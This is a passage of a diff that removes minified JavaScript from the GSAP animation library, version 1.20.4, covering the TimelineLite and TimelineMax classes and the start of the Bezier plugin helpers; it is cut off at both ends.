t) { - return !arguments.length ? this._time / this.duration() : this.totalTime(this.duration() * (this._yoyo && (this._cycle & 1) !== 0 ? 1 - e : e) + this._cycle * (this._duration + this._repeatDelay), t) - }; - d.totalProgress = function (e, t) { - return !arguments.length ? this._totalTime / this.totalDuration() : this.totalTime(this.totalDuration() * e, t) - }; - d.time = function (e, t) { - if (!arguments.length) { - return this._time - } - if (this._dirty) { - this.totalDuration() - } - if (e > this._duration) { - e = this._duration - } - if (this._yoyo && (this._cycle & 1) !== 0) { - e = this._duration - e + this._cycle * (this._duration + this._repeatDelay) - } else if (this._repeat !== 0) { - e += this._cycle * (this._duration + this._repeatDelay) - } - return this.totalTime(e, t) - }; - d.duration = function (t) { - if (!arguments.length) { - return this._duration - } - return e.prototype.duration.call(this, t) - }; - d.totalDuration = function (e) { - if (!arguments.length) { - if (this._dirty) { - this._totalDuration = this._repeat === -1 ? 999999999999 : this._duration * (this._repeat + 1) + this._repeatDelay * this._repeat; - this._dirty = false - } - return this._totalDuration - } - return this._repeat === -1 ? this : this.duration((e - this._repeat * this._repeatDelay) / (this._repeat + 1)) - }; - d.repeat = function (e) { - if (!arguments.length) { - return this._repeat - } - this._repeat = e; - return this._uncache(true) - }; - d.repeatDelay = function (e) { - if (!arguments.length) { - return this._repeatDelay - } - this._repeatDelay = e; - return this._uncache(true) - }; - d.yoyo = function (e) { - if (!arguments.length) { - return this._yoyo - } - this._yoyo = e; - return this - }; - return a - }, true); - a._gsDefine("TimelineLite", ["core.Animation", "core.SimpleTimeline", "TweenLite"], function (e, t, i) { - var n = function (e) { - t.call(this, e); - this._labels = {}; - this.autoRemoveChildren = this.vars.autoRemoveChildren === true; - this.smoothChildTiming = this.vars.smoothChildTiming === true; - this._sortChildren = true; - this._onUpdate = this.vars.onUpdate; - var i = this.vars, - n, r; - for (r in i) { - n = i[r]; - if (u(n)) - if (n.join("").indexOf("{self}") !== -1) { - i[r] = this._swapSelfInParams(n) - } - } - if (u(i.tweens)) { - this.add(i.tweens, 0, i.align, i.stagger) - } - }, - r = 1e-10, - s = i._internals, - o = n._internals = {}, - l = s.isSelector, - u = s.isArray, - d = s.lazyTweens, - f = s.lazyRender, - c = a._gsDefine.globals, - h = function (e) { - var t = {}, - i; - for (i in e) { - t[i] = e[i] - } - return t - }, - m = function (e, t, i) { - var n = e.cycle, - r, a; - for (r in n) { - a = n[r]; - e[r] = typeof a === "function" ? a(i, t[i]) : a[i % a.length] - } - delete e.cycle - }, - p = o.pauseCallback = function () {}, - v = function (e) { - var t = [], - i = e.length, - n; - for (n = 0; n !== i; t.push(e[n++])); - return t - }, - _ = n.prototype = new t; - n.version = "1.20.4"; - _.constructor = n; - _.kill()._gc = _._forcingPlayhead = _._hasPause = false; - _.to = function (e, t, n, r) { - var a = n.repeat && c.TweenMax || i; - return t ? this.add(new a(e, t, n), r) : this.set(e, n, r) - }; - _.from = function (e, t, n, r) { - return this.add((n.repeat && c.TweenMax || i).from(e, t, n), r) - }; - _.fromTo = function (e, t, n, r, a) { - var s = r.repeat && c.TweenMax || i; - return t ? this.add(s.fromTo(e, t, n, r), a) : this.set(e, r, a) - }; - _.staggerTo = function (e, t, r, a, s, o, u, d) { - var f = new n({ - onComplete: o, - onCompleteParams: u, - callbackScope: d, - smoothChildTiming: this.smoothChildTiming - }), - c = r.cycle, - p, _; - if (typeof e === "string") { - e = i.selector(e) || e - } - e = e || []; - if (l(e)) { - e = v(e) - } - a = a || 0; - if (a < 0) { - e = v(e); - e.reverse(); - a *= -1 - } - for (_ = 0; _ < e.length; _++) { - p = h(r); - if (p.startAt) { - p.startAt = h(p.startAt); - if (p.startAt.cycle) { - m(p.startAt, e, _) - } - } - if (c) { - m(p, e, _); - if (p.duration != null) { - t = p.duration; - delete p.duration - } - } - f.to(e[_], t, p, _ * a) - } - return this.add(f, s) - }; - _.staggerFrom = function (e, t, i, n, r, a, s, o) { - i.immediateRender = i.immediateRender != false; - i.runBackwards = true; - return this.staggerTo(e, t, i, n, r, a, s, o) - }; - _.staggerFromTo = function (e, t, i, n, r, a, s, o, l) { - n.startAt = i; - n.immediateRender = n.immediateRender != false && i.immediateRender != false; - return this.staggerTo(e, t, n, r, a, s, o, l) - }; - _.call = function (e, t, n, r) { - return this.add(i.delayedCall(0, e, t, n), r) - }; - _.set = function (e, t, n) { - n = this._parseTimeOrLabel(n, 0, true); - if (t.immediateRender == null) { - t.immediateRender = n === this._time && !this._paused - } - return this.add(new i(e, 0, t), n) - }; - n.exportRoot = function (e, t) { - e = e || {}; - if (e.smoothChildTiming == null) { - e.smoothChildTiming = true - } - var r = new n(e), - a = r._timeline, - s, o, l, u; - if (t == null) { - t = true - } - a._remove(r, true); - r._startTime = 0; - r._rawPrevTime = r._time = r._totalTime = a._time; - l = a._first; - while (l) { - u = l._next; - if (!t || !(l instanceof i && l.target === l.vars.onComplete)) { - o = l._startTime - l._delay; - if (o < 0) { - s = 1 - } - r.add(l, o) - } - l = u - } - a.add(r, 0); - if (s) { - r.totalDuration() - } - return r - }; - _.add = function (r, a, s, o) { - var l, d, f, c, h, m; - if (typeof a !== "number") { - a = this._parseTimeOrLabel(a, 0, true, r) - } - if (!(r instanceof e)) { - if (r instanceof Array || r && r.push && u(r)) { - s = s || "normal"; - o = o || 0; - l = a; - d = r.length; - for (f = 0; f < d; f++) { - if (u(c = r[f])) { - c = new n({ - tweens: c - }) - } - this.add(c, l); - if (typeof c !== "string" && typeof c !== "function") { - if (s === "sequence") { - l = c._startTime + c.totalDuration() / c._timeScale - } else if (s === "start") { - c._startTime -= c.delay() - } - } - l += o - } - return this._uncache(true) - } else if (typeof r === "string") { - return this.addLabel(r, a) - } else if (typeof r === "function") { - r = i.delayedCall(0, r) - } else { - throw "Cannot add " + r + " into the timeline; it is not a tween, timeline, function, or string." - } - } - t.prototype.add.call(this, r, a); - if (r._time) { - r.render((this.rawTime() - r._startTime) * r._timeScale, false, false) - } - if (this._gc || this._time === this._duration) - if (!this._paused) - if (this._duration < this.duration()) { - h = this; - m = h.rawTime() > r._startTime; - while (h._timeline) { - if (m && h._timeline.smoothChildTiming) { - h.totalTime(h._totalTime, true) - } else if (h._gc) { - h._enabled(true, false) - } - h = h._timeline - } - } - return this - }; - _.remove = function (t) { - if (t instanceof e) { - this._remove(t, false); - var i = t._timeline = t.vars.useFrames ? e._rootFramesTimeline : e._rootTimeline; - t._startTime = (t._paused ? t._pauseTime : i._time) - (!t._reversed ? t._totalTime : t.totalDuration() - t._totalTime) / t._timeScale; - return this - } else if (t instanceof Array || t && t.push && u(t)) { - var n = t.length; - while (--n > -1) { - this.remove(t[n]) - } - return this - } else if (typeof t === "string") { - return this.removeLabel(t) - } - return this.kill(null, t) - }; - _._remove = function (e, i) { - t.prototype._remove.call(this, e, i); - var n = this._last; - if (!n) { - this._time = this._totalTime = this._duration = this._totalDuration = 0 - } else if (this._time > this.duration()) { - this._time = this._duration; - this._totalTime = this._totalDuration - } - return this - }; - _.append = function (e, t) { - return this.add(e, this._parseTimeOrLabel(null, t, true, e)) - }; - _.insert = _.insertMultiple = function (e, t, i, n) { - return this.add(e, t || 0, i, n) - }; - _.appendMultiple = function (e, t, i, n) { - return this.add(e, this._parseTimeOrLabel(null, t, true, e), i, n) - }; - _.addLabel = function (e, t) { - this._labels[e] = this._parseTimeOrLabel(t); - return this - }; - _.addPause = function (e, t, n, r) { - var a = i.delayedCall(0, p, n, r || this); - a.vars.onComplete = a.vars.onReverseComplete = t; - a.data = "isPause"; - this._hasPause = true; - return this.add(a, e) - }; - _.removeLabel = function (e) { - delete this._labels[e]; - return this - }; - _.getLabelTime = function (e) { - return this._labels[e] != null ? this._labels[e] : -1 - }; - _._parseTimeOrLabel = function (t, i, n, r) { - var a, s; - if (r instanceof e && r.timeline === this) { - this.remove(r) - } else if (r && (r instanceof Array || r.push && u(r))) { - s = r.length; - while (--s > -1) { - if (r[s] instanceof e && r[s].timeline === this) { - this.remove(r[s]) - } - } - } - a = typeof t === "number" && !i ? 0 : this.duration() > 99999999999 ? this.recent().endTime(false) : this._duration; - if (typeof i === "string") { - return this._parseTimeOrLabel(i, n && typeof t === "number" && this._labels[i] == null ? t - a : 0, n) - } - i = i || 0; - if (typeof t === "string" && (isNaN(t) || this._labels[t] != null)) { - s = t.indexOf("="); - if (s === -1) { - if (this._labels[t] == null) { - return n ? this._labels[t] = a + i : i - } - return this._labels[t] + i - } - i = parseInt(t.charAt(s - 1) + "1", 10) * Number(t.substr(s + 1)); - t = s > 1 ? this._parseTimeOrLabel(t.substr(0, s - 1), 0, n) : a - } else if (t == null) { - t = a - } - return Number(t) + i - }; - _.seek = function (e, t) { - return this.totalTime(typeof e === "number" ? e : this._parseTimeOrLabel(e), t !== false) - }; - _.stop = function () { - return this.paused(true) - }; - _.gotoAndPlay = function (e, t) { - return this.play(e, t) - }; - _.gotoAndStop = function (e, t) { - return this.pause(e, t) - }; - _.render = function (e, t, i) { - if (this._gc) { - this._enabled(true, false) - } - var n = this._time, - a = !this._dirty ? this._totalDuration : this.totalDuration(), - s = this._startTime, - o = this._timeScale, - l = this._paused, - u, c, h, m, p, v, _; - if (n !== this._time) { - e += this._time - n - } - if (e >= a - 1e-7 && e >= 0) { - this._totalTime = this._time = a; - if (!this._reversed) - if (!this._hasPausedChild()) { - c = true; - m = "onComplete"; - p = !!this._timeline.autoRemoveChildren; - if (this._duration === 0) - if (e <= 0 && e >= -1e-7 || this._rawPrevTime < 0 || this._rawPrevTime === r) - if (this._rawPrevTime !== e && this._first) { - p = true; - if (this._rawPrevTime > r) { - m = "onReverseComplete" - } - } - } - this._rawPrevTime = this._duration || !t || e || this._rawPrevTime === e ? e : r; - e = a + 1e-4 - } else if (e < 1e-7) { - this._totalTime = this._time = 0; - if (n !== 0 || this._duration === 0 && this._rawPrevTime !== r && (this._rawPrevTime > 0 || e < 0 && this._rawPrevTime >= 0)) { - m = "onReverseComplete"; - c = this._reversed - } - if (e < 0) { - this._active = false; - if (this._timeline.autoRemoveChildren && this._reversed) { - p = c = true; - m = "onReverseComplete" - } else if (this._rawPrevTime >= 0 && this._first) { - p = true - } - this._rawPrevTime = e - } else { - this._rawPrevTime = this._duration || !t || e || this._rawPrevTime === e ? e : r; - if (e === 0 && c) { - u = this._first; - while (u && u._startTime === 0) { - if (!u._duration) { - c = false - } - u = u._next - } - } - e = 0; - if (!this._initted) { - p = true - } - } - } else { - if (this._hasPause && !this._forcingPlayhead && !t) { - if (e >= n) { - u = this._first; - while (u && u._startTime <= e && !v) { - if (!u._duration) - if (u.data === "isPause" && !u.ratio && !(u._startTime === 0 && this._rawPrevTime === 0)) { - v = u - } - u = u._next - } - } else { - u = this._last; - while (u && u._startTime >= e && !v) { - if (!u._duration) - if (u.data === "isPause" && u._rawPrevTime > 0) { - v = u - } - u = u._prev - } - } - if (v) { - this._time = e = v._startTime; - this._totalTime = e + this._cycle * (this._totalDuration + this._repeatDelay) - } - } - this._totalTime = this._time = this._rawPrevTime = e - } - if ((this._time === n || !this._first) && !i && !p && !v) { - return - } else if (!this._initted) { - this._initted = true - } - if (!this._active) - if (!this._paused && this._time !== n && e > 0) { - this._active = true - } - if (n === 0) - if (this.vars.onStart) - if (this._time !== 0 || !this._duration) - if (!t) { - this._callback("onStart") - } - _ = this._time; - if (_ >= n) { - u = this._first; - while (u) { - h = u._next; - if (_ !== this._time || this._paused && !l) { - break - } else if (u._active || u._startTime <= _ && !u._paused && !u._gc) { - if (v === u) { - this.pause() - } - if (!u._reversed) { - u.render((e - u._startTime) * u._timeScale, t, i) - } else { - u.render((!u._dirty ? u._totalDuration : u.totalDuration()) - (e - u._startTime) * u._timeScale, t, i) - } - } - u = h - } - } else { - u = this._last; - while (u) { - h = u._prev; - if (_ !== this._time || this._paused && !l) { - break - } else if (u._active || u._startTime <= n && !u._paused && !u._gc) { - if (v === u) { - v = u._prev; - while (v && v.endTime() > this._time) { - v.render(v._reversed ? v.totalDuration() - (e - v._startTime) * v._timeScale : (e - v._startTime) * v._timeScale, t, i); - v = v._prev - } - v = null; - this.pause() - } - if (!u._reversed) { - u.render((e - u._startTime) * u._timeScale, t, i) - } else { - u.render((!u._dirty ? u._totalDuration : u.totalDuration()) - (e - u._startTime) * u._timeScale, t, i) - } - } - u = h - } - } - if (this._onUpdate) - if (!t) { - if (d.length) { - f() - } - this._callback("onUpdate") - } - if (m) - if (!this._gc) - if (s === this._startTime || o !== this._timeScale) - if (this._time === 0 || a >= this.totalDuration()) { - if (c) { - if (d.length) { - f() - } - if (this._timeline.autoRemoveChildren) { - this._enabled(false, false) - } - this._active = false - } - if (!t && this.vars[m]) { - this._callback(m) - } - } - }; - _._hasPausedChild = function () { - var e = this._first; - while (e) { - if (e._paused || e instanceof n && e._hasPausedChild()) { - return true - } - e = e._next - } - return false - }; - _.getChildren = function (e, t, n, r) { - r = r || -9999999999; - var a = [], - s = this._first, - o = 0; - while (s) { - if (s._startTime < r) {} else if (s instanceof i) { - if (t !== false) { - a[o++] = s - } - } else { - if (n !== false) { - a[o++] = s - } - if (e !== false) { - a = a.concat(s.getChildren(true, t, n)); - o = a.length - } - } - s = s._next - } - return a - }; - _.getTweensOf = function (e, t) { - var n = this._gc, - r = [], - a = 0, - s, o; - if (n) { - this._enabled(true, true) - } - s = i.getTweensOf(e); - o = s.length; - while (--o > -1) { - if (s[o].timeline === this || t && this._contains(s[o])) { - r[a++] = s[o] - } - } - if (n) { - this._enabled(false, true) - } - return r - }; - _.recent = function () { - return this._recent - }; - _._contains = function (e) { - var t = e.timeline; - while (t) { - if (t === this) { - return true - } - t = t.timeline - } - return false - }; - _.shiftChildren = function (e, t, i) { - i = i || 0; - var n = this._first, - r = this._labels, - a; - while (n) { - if (n._startTime >= i) { - n._startTime += e - } - n = n._next - } - if (t) { - for (a in r) { - if (r[a] >= i) { - r[a] += e - } - } - } - return this._uncache(true) - }; - _._kill = function (e, t) { - if (!e && !t) { - return this._enabled(false, false) - } - var i = !t ? this.getChildren(true, true, false) : this.getTweensOf(t), - n = i.length, - r = false; - while (--n > -1) { - if (i[n]._kill(e, t)) { - r = true - } - } - return r - }; - _.clear = function (e) { - var t = this.getChildren(false, true, true), - i = t.length; - this._time = this._totalTime = 0; - while (--i > -1) { - t[i]._enabled(false, false) - } - if (e !== false) { - this._labels = {} - } - return this._uncache(true) - }; - _.invalidate = function () { - var t = this._first; - while (t) { - t.invalidate(); - t = t._next - } - return e.prototype.invalidate.call(this) - }; - _._enabled = function (e, i) { - if (e === this._gc) { - var n = this._first; - while (n) { - n._enabled(e, true); - n = n._next - } - } - return t.prototype._enabled.call(this, e, i) - }; - _.totalTime = function (t, i, n) { - this._forcingPlayhead = true; - var r = e.prototype.totalTime.apply(this, arguments); - this._forcingPlayhead = false; - return r - }; - _.duration = function (e) { - if (!arguments.length) { - if (this._dirty) { - this.totalDuration() - } - return this._duration - } - if (this.duration() !== 0 && e !== 0) { - this.timeScale(this._duration / e) - } - return this - }; - _.totalDuration = function (e) { - if (!arguments.length) { - if (this._dirty) { - var t = 0, - i = this._last, - n = 999999999999, - r, a; - while (i) { - r = i._prev; - if (i._dirty) { - i.totalDuration() - } - if (i._startTime > n && this._sortChildren && !i._paused && !this._calculatingDuration) { - this._calculatingDuration = 1; - this.add(i, i._startTime - i._delay); - this._calculatingDuration = 0 - } else { - n = i._startTime - } - if (i._startTime < 0 && !i._paused) { - t -= i._startTime; - if (this._timeline.smoothChildTiming) { - this._startTime += i._startTime / this._timeScale; - this._time -= i._startTime; - this._totalTime -= i._startTime; - this._rawPrevTime -= i._startTime - } - this.shiftChildren(-i._startTime, false, -9999999999); - n = 0 - } - a = i._startTime + i._totalDuration / i._timeScale; - if (a > t) { - t = a - } - i = r - } - this._duration = this._totalDuration = t; - this._dirty = false - } - return this._totalDuration - } - return e && this.totalDuration() ? this.timeScale(this._totalDuration / e) : this - }; - _.paused = function (t) { - if (!t) { - var i = this._first, - n = this._time; - while (i) { - if (i._startTime === n && i.data === "isPause") { - i._rawPrevTime = 0 - } - i = i._next - } - } - return e.prototype.paused.apply(this, arguments) - }; - _.usesFrames = function () { - var t = this._timeline; - while (t._timeline) { - t = t._timeline - } - return t === e._rootFramesTimeline - }; - _.rawTime = function (e) { - return e && (this._paused || this._repeat && this.time() > 0 && this.totalProgress() < 1) ? this._totalTime % (this._duration + this._repeatDelay) : this._paused ? this._totalTime : (this._timeline.rawTime(e) - this._startTime) * this._timeScale - }; - return n - }, true); - a._gsDefine("TimelineMax", ["TimelineLite", "TweenLite", "easing.Ease"], function (e, t, i) { - var n = function (t) { - e.call(this, t); - this._repeat = this.vars.repeat || 0; - this._repeatDelay = this.vars.repeatDelay || 0; - this._cycle = 0; - this._yoyo = this.vars.yoyo === true; - this._dirty = true - }, - r = 1e-10, - s = t._internals, - o = s.lazyTweens, - l = s.lazyRender, - u = a._gsDefine.globals, - d = new i(null, null, 1, 0), - f = n.prototype = new e; - f.constructor = n; - f.kill()._gc = false; - n.version = "1.20.4"; - f.invalidate = function () { - this._yoyo = this.vars.yoyo === true; - this._repeat = this.vars.repeat || 0; - this._repeatDelay = this.vars.repeatDelay || 0; - this._uncache(true); - return e.prototype.invalidate.call(this) - }; - f.addCallback = function (e, i, n, r) { - return this.add(t.delayedCall(0, e, n, r), i) - }; - f.removeCallback = function (e, t) { - if (e) { - if (t == null) { - this._kill(null, e) - } else { - var i = this.getTweensOf(e, false), - n = i.length, - r = this._parseTimeOrLabel(t); - while (--n > -1) { - if (i[n]._startTime === r) { - i[n]._enabled(false, false) - } - } - } - } - return this - }; - f.removePause = function (t) { - return this.removeCallback(e._internals.pauseCallback, t) - }; - f.tweenTo = function (e, i) { - i = i || {}; - var n = { - ease: d, - useFrames: this.usesFrames(), - immediateRender: false, - lazy: false - }, - r = i.repeat && u.TweenMax || t, - a, s, o; - for (s in i) { - n[s] = i[s] - } - n.time = this._parseTimeOrLabel(e); - a = Math.abs(Number(n.time) - this._time) / this._timeScale || .001; - o = new r(this, a, n); - n.onStart = function () { - o.target.paused(true); - if (o.vars.time !== o.target.time() && a === o.duration() && !o.isFromTo) { - o.duration(Math.abs(o.vars.time - o.target.time()) / o.target._timeScale).render(o.time(), true, true) - } - if (i.onStart) { - i.onStart.apply(i.onStartScope || i.callbackScope || o, i.onStartParams || []) - } - }; - return o - }; - f.tweenFromTo = function (e, t, i) { - i = i || {}; - e = this._parseTimeOrLabel(e); - i.startAt = { - onComplete: this.seek, - onCompleteParams: [e], - callbackScope: this - }; - i.immediateRender = i.immediateRender !== false; - var n = this.tweenTo(t, i); - n.isFromTo = 1; - return n.duration(Math.abs(n.vars.time - e) / this._timeScale || .001) - }; - f.render = function (e, t, i) { - if (this._gc) { - this._enabled(true, false) - } - var n = this._time, - a = !this._dirty ? this._totalDuration : this.totalDuration(), - s = this._duration, - u = this._totalTime, - d = this._startTime, - f = this._timeScale, - c = this._rawPrevTime, - h = this._paused, - m = this._cycle, - p, v, _, g, y, b, w, M; - if (n !== this._time) { - e += this._time - n - } - if (e >= a - 1e-7 && e >= 0) { - if (!this._locked) { - this._totalTime = a; - this._cycle = this._repeat - } - if (!this._reversed) - if (!this._hasPausedChild()) { - v = true; - g = "onComplete"; - y = !!this._timeline.autoRemoveChildren; - if (this._duration === 0) - if (e <= 0 && e >= -1e-7 || c < 0 || c === r) - if (c !== e && this._first) { - y = true; - if (c > r) { - g = "onReverseComplete" - } - } - } - this._rawPrevTime = this._duration || !t || e || this._rawPrevTime === e ? e : r; - if (this._yoyo && (this._cycle & 1) !== 0) { - this._time = e = 0 - } else { - this._time = s; - e = s + 1e-4 - } - } else if (e < 1e-7) { - if (!this._locked) { - this._totalTime = this._cycle = 0 - } - this._time = 0; - if (n !== 0 || s === 0 && c !== r && (c > 0 || e < 0 && c >= 0) && !this._locked) { - g = "onReverseComplete"; - v = this._reversed - } - if (e < 0) { - this._active = false; - if (this._timeline.autoRemoveChildren && this._reversed) { - y = v = true; - g = "onReverseComplete" - } else if (c >= 0 && this._first) { - y = true - } - this._rawPrevTime = e - } else { - this._rawPrevTime = s || !t || e || this._rawPrevTime === e ? e : r; - if (e === 0 && v) { - p = this._first; - while (p && p._startTime === 0) { - if (!p._duration) { - v = false - } - p = p._next - } - } - e = 0; - if (!this._initted) { - y = true - } - } - } else { - if (s === 0 && c < 0) { - y = true - } - this._time = this._rawPrevTime = e; - if (!this._locked) { - this._totalTime = e; - if (this._repeat !== 0) { - b = s + this._repeatDelay; - this._cycle = this._totalTime / b >> 0; - if (this._cycle !== 0) - if (this._cycle === this._totalTime / b && u <= e) { - this._cycle-- - } - this._time = this._totalTime - this._cycle * b; - if (this._yoyo) - if ((this._cycle & 1) !== 0) { - this._time = s - this._time - } - if (this._time > s) { - this._time = s; - e = s + 1e-4 - } else if (this._time < 0) { - this._time = e = 0 - } else { - e = this._time - } - } - } - if (this._hasPause && !this._forcingPlayhead && !t) { - e = this._time; - if (e >= n || this._repeat && m !== this._cycle) { - p = this._first; - while (p && p._startTime <= e && !w) { - if (!p._duration) - if (p.data === "isPause" && !p.ratio && !(p._startTime === 0 && this._rawPrevTime === 0)) { - w = p - } - p = p._next - } - } else { - p = this._last; - while (p && p._startTime >= e && !w) { - if (!p._duration) - if (p.data === "isPause" && p._rawPrevTime > 0) { - w = p - } - p = p._prev - } - } - if (w && w._startTime < s) { - this._time = e = w._startTime; - this._totalTime = e + this._cycle * (this._totalDuration + this._repeatDelay) - } - } - } - if (this._cycle !== m) - if (!this._locked) { - var k = this._yoyo && (m & 1) !== 0, - L = k === (this._yoyo && (this._cycle & 1) !== 0), - T = this._totalTime, - x = this._cycle, - S = this._rawPrevTime, - Y = this._time; - this._totalTime = m * s; - if (this._cycle < m) { - k = !k - } else { - this._totalTime += s - } - this._time = n; - this._rawPrevTime = s === 0 ? c - 1e-4 : c; - this._cycle = m; - this._locked = true; - n = k ? 0 : s; - this.render(n, t, s === 0); - if (!t) - if (!this._gc) { - if (this.vars.onRepeat) { - this._cycle = x; - this._locked = false; - this._callback("onRepeat") - } - } - if (n !== this._time) { - return - } - if (L) { - this._cycle = m; - this._locked = true; - n = k ? s + 1e-4 : -1e-4; - this.render(n, true, false) - } - this._locked = false; - if (this._paused && !h) { - return - } - this._time = Y; - this._totalTime = T; - this._cycle = x; - this._rawPrevTime = S - } - if ((this._time === n || !this._first) && !i && !y && !w) { - if (u !== this._totalTime) - if (this._onUpdate) - if (!t) { - this._callback("onUpdate") - } - return - } else if (!this._initted) { - this._initted = true - } - if (!this._active) - if (!this._paused && this._totalTime !== u && e > 0) { - this._active = true - } - if (u === 0) - if (this.vars.onStart) - if (this._totalTime !== 0 || !this._totalDuration) - if (!t) { - this._callback("onStart") - } - M = this._time; - if (M >= n) { - p = this._first; - while (p) { - _ = p._next; - if (M !== this._time || this._paused && !h) { - break - } else if (p._active || p._startTime <= this._time && !p._paused && !p._gc) { - if (w === p) { - this.pause() - } - if (!p._reversed) { - p.render((e - p._startTime) * p._timeScale, t, i) - } else { - p.render((!p._dirty ? p._totalDuration : p.totalDuration()) - (e - p._startTime) * p._timeScale, t, i) - } - } - p = _ - } - } else { - p = this._last; - while (p) { - _ = p._prev; - if (M !== this._time || this._paused && !h) { - break - } else if (p._active || p._startTime <= n && !p._paused && !p._gc) { - if (w === p) { - w = p._prev; - while (w && w.endTime() > this._time) { - w.render(w._reversed ? w.totalDuration() - (e - w._startTime) * w._timeScale : (e - w._startTime) * w._timeScale, t, i); - w = w._prev - } - w = null; - this.pause() - } - if (!p._reversed) { - p.render((e - p._startTime) * p._timeScale, t, i) - } else { - p.render((!p._dirty ? p._totalDuration : p.totalDuration()) - (e - p._startTime) * p._timeScale, t, i) - } - } - p = _ - } - } - if (this._onUpdate) - if (!t) { - if (o.length) { - l() - } - this._callback("onUpdate") - } - if (g) - if (!this._locked) - if (!this._gc) - if (d === this._startTime || f !== this._timeScale) - if (this._time === 0 || a >= this.totalDuration()) { - if (v) { - if (o.length) { - l() - } - if (this._timeline.autoRemoveChildren) { - this._enabled(false, false) - } - this._active = false - } - if (!t && this.vars[g]) { - this._callback(g) - } - } - }; - f.getActive = function (e, t, i) { - if (e == null) { - e = true - } - if (t == null) { - t = true - } - if (i == null) { - i = false - } - var n = [], - r = this.getChildren(e, t, i), - a = 0, - s = r.length, - o, l; - for (o = 0; o < s; o++) { - l = r[o]; - if (l.isActive()) { - n[a++] = l - } - } - return n - }; - f.getLabelAfter = function (e) { - if (!e) - if (e !== 0) { - e = this._time - } - var t = this.getLabelsArray(), - i = t.length, - n; - for (n = 0; n < i; n++) { - if (t[n].time > e) { - return t[n].name - } - } - return null - }; - f.getLabelBefore = function (e) { - if (e == null) { - e = this._time - } - var t = this.getLabelsArray(), - i = t.length; - while (--i > -1) { - if (t[i].time < e) { - return t[i].name - } - } - return null - }; - f.getLabelsArray = function () { - var e = [], - t = 0, - i; - for (i in this._labels) { - e[t++] = { - time: this._labels[i], - name: i - } - } - e.sort(function (e, t) { - return e.time - t.time - }); - return e - }; - f.invalidate = function () { - this._locked = false; - return e.prototype.invalidate.call(this) - }; - f.progress = function (e, t) { - return !arguments.length ? this._time / this.duration() || 0 : this.totalTime(this.duration() * (this._yoyo && (this._cycle & 1) !== 0 ? 1 - e : e) + this._cycle * (this._duration + this._repeatDelay), t) - }; - f.totalProgress = function (e, t) { - return !arguments.length ? this._totalTime / this.totalDuration() || 0 : this.totalTime(this.totalDuration() * e, t) - }; - f.totalDuration = function (t) { - if (!arguments.length) { - if (this._dirty) { - e.prototype.totalDuration.call(this); - this._totalDuration = this._repeat === -1 ? 999999999999 : this._duration * (this._repeat + 1) + this._repeatDelay * this._repeat - } - return this._totalDuration - } - return this._repeat === -1 || !t ? this : this.timeScale(this.totalDuration() / t) - }; - f.time = function (e, t) { - if (!arguments.length) { - return this._time - } - if (this._dirty) { - this.totalDuration() - } - if (e > this._duration) { - e = this._duration - } - if (this._yoyo && (this._cycle & 1) !== 0) { - e = this._duration - e + this._cycle * (this._duration + this._repeatDelay) - } else if (this._repeat !== 0) { - e += this._cycle * (this._duration + this._repeatDelay) - } - return this.totalTime(e, t) - }; - f.repeat = function (e) { - if (!arguments.length) { - return this._repeat - } - this._repeat = e; - return this._uncache(true) - }; - f.repeatDelay = function (e) { - if (!arguments.length) { - return this._repeatDelay - } - this._repeatDelay = e; - return this._uncache(true) - }; - f.yoyo = function (e) { - if (!arguments.length) { - return this._yoyo - } - this._yoyo = e; - return this - }; - f.currentLabel = function (e) { - if (!arguments.length) { - return this.getLabelBefore(this._time + 1e-8) - } - return this.seek(e, true) - }; - return n - }, true); - (function () { - var e = 180 / Math.PI, - t = [], - i = [], - n = [], - r = {}, - s = a._gsDefine.globals, - o = function (e, t, i, n) { - if (i === n) { - i = n - (n - t) / 1e6 - } - if (e === t) { - t = e + (i - e) / 1e6 - } - this.a = e; - this.b = t; - this.c = i; - this.d = n; - this.da = n - e; - this.ca = i - e; - this.ba = t - e - }, - l = ",x,y,z,left,top,right,bottom,marginTop,marginLeft,marginRight,marginBottom,paddingLeft,paddingTop,paddingRight,paddingBottom,backgroundPosition,backgroundPosition_y,", - u = function (e, t, i, n) { - var r = { - a: e - }, - a = {}, - s = {}, - o = { - c: n - }, - l = (e + t) / 2, - u = (t + i) / 2, - d = (i + n) / 2, - f = (l + u) / 2, - c = (u + d) / 2, - h = (c - f) / 8; - r.b = l + (e - l) / 4; - a.b = f + h; - r.c = a.a = (r.b + a.b) / 2; - a.c = s.a = (f + c) / 2; - s.b = c - h; - o.b = d + (n - d) / 4; - s.c = o.a = (s.b + o.b) / 2; - return [r, a, s, o] - }, - d = function (e, r, a, s, o) { - var l = e.length - 1, - d = 0, - f = e[0].a, - c, h, m, p, v, _, g, y, b, w, M, k, L; - for (c = 0; c < l; c++) { - v = e[d]; - h = v.a; - m = v.d; - p = e[d + 1].d; - if (o) { - M = t[c]; - k = i[c]; - L = (k + M) * r * .25 / (s ? .5 : n[c] || .5); - _ = m - (m - h) * (s ? r * .5 : M !== 0 ? L / M : 0); - g = m + (p - m) * (s ? r * .5 : k !== 0 ? L / k : 0); - y = m - (_ + ((g - _) * (M * 3 / (M + k) + .5) / 4 || 0)) - } else { - _ = m - (m - h) * r * .5; - g = m + (p - m) * r * .5; - y = m - (_ + g) / 2 - } - _ += y; - g += y; - v.c = b = _; - if (c !== 0) { - v.b = f - } else { - v.b = f = v.a + (v.c - v.a) * .6 - } - v.da = m - h; - v.ca = b - h; - v.ba = f - h; - if (a) { - w = u(h, f, b, m); - e.splice(d, 1, w[0], w[1], w[2], w[3]); - d += 4 - } else { - d++ - } - f = g - } - v = e[d]; - v.b = f; - v.c = f + (v.d - f) * .4; - v.da = v.d - v.a; - v.ca = v.c - v.a; - v.ba = f - v.a; - if (a) { - w = u(v.a, f, v.c, v.d); - e.splice(d, 1, w[0], w[1], w[2], w[3]) - } - }, - f = function (e, n, r, a) { - var s = [], - l, u, d, f, c, h; - if (a) { - e = [a].concat(e); - u = e.length; - while (--u > -1) { - if (typeof (h = e[u][n]) === "string") - if (h.charAt(1) === "=") { - e[u][n] = a[n] + Number(h.charAt(0) + h.substr(2)) - } - } - } - l = e.length - 2; - if (l < 0) { - s[0] = new o(e[0][n], 0, 0, e[0][n]); - return s - } - for (u = 0; u < l; u++) { - d = e[u][n]; - f = e[u + 1][n]; - s[u] = new o(d, 0, 0, f); - if (r) { - c = e[u + 2][n]; - t[u] = (t[u] || 0) + (f - d) * (f - d); - i[u] = (i[u] || 0) + (c - f) * (c - f) - } - } - s[u] = new o(e[u][n], 0, 0, e[u + 1][n]); - return s - }, - c = function (e, a, s, o, u, c) { - var h = {}, - m = [], - p = c || e[0], - v, _, g, y, b, w, M, k; - u = typeof 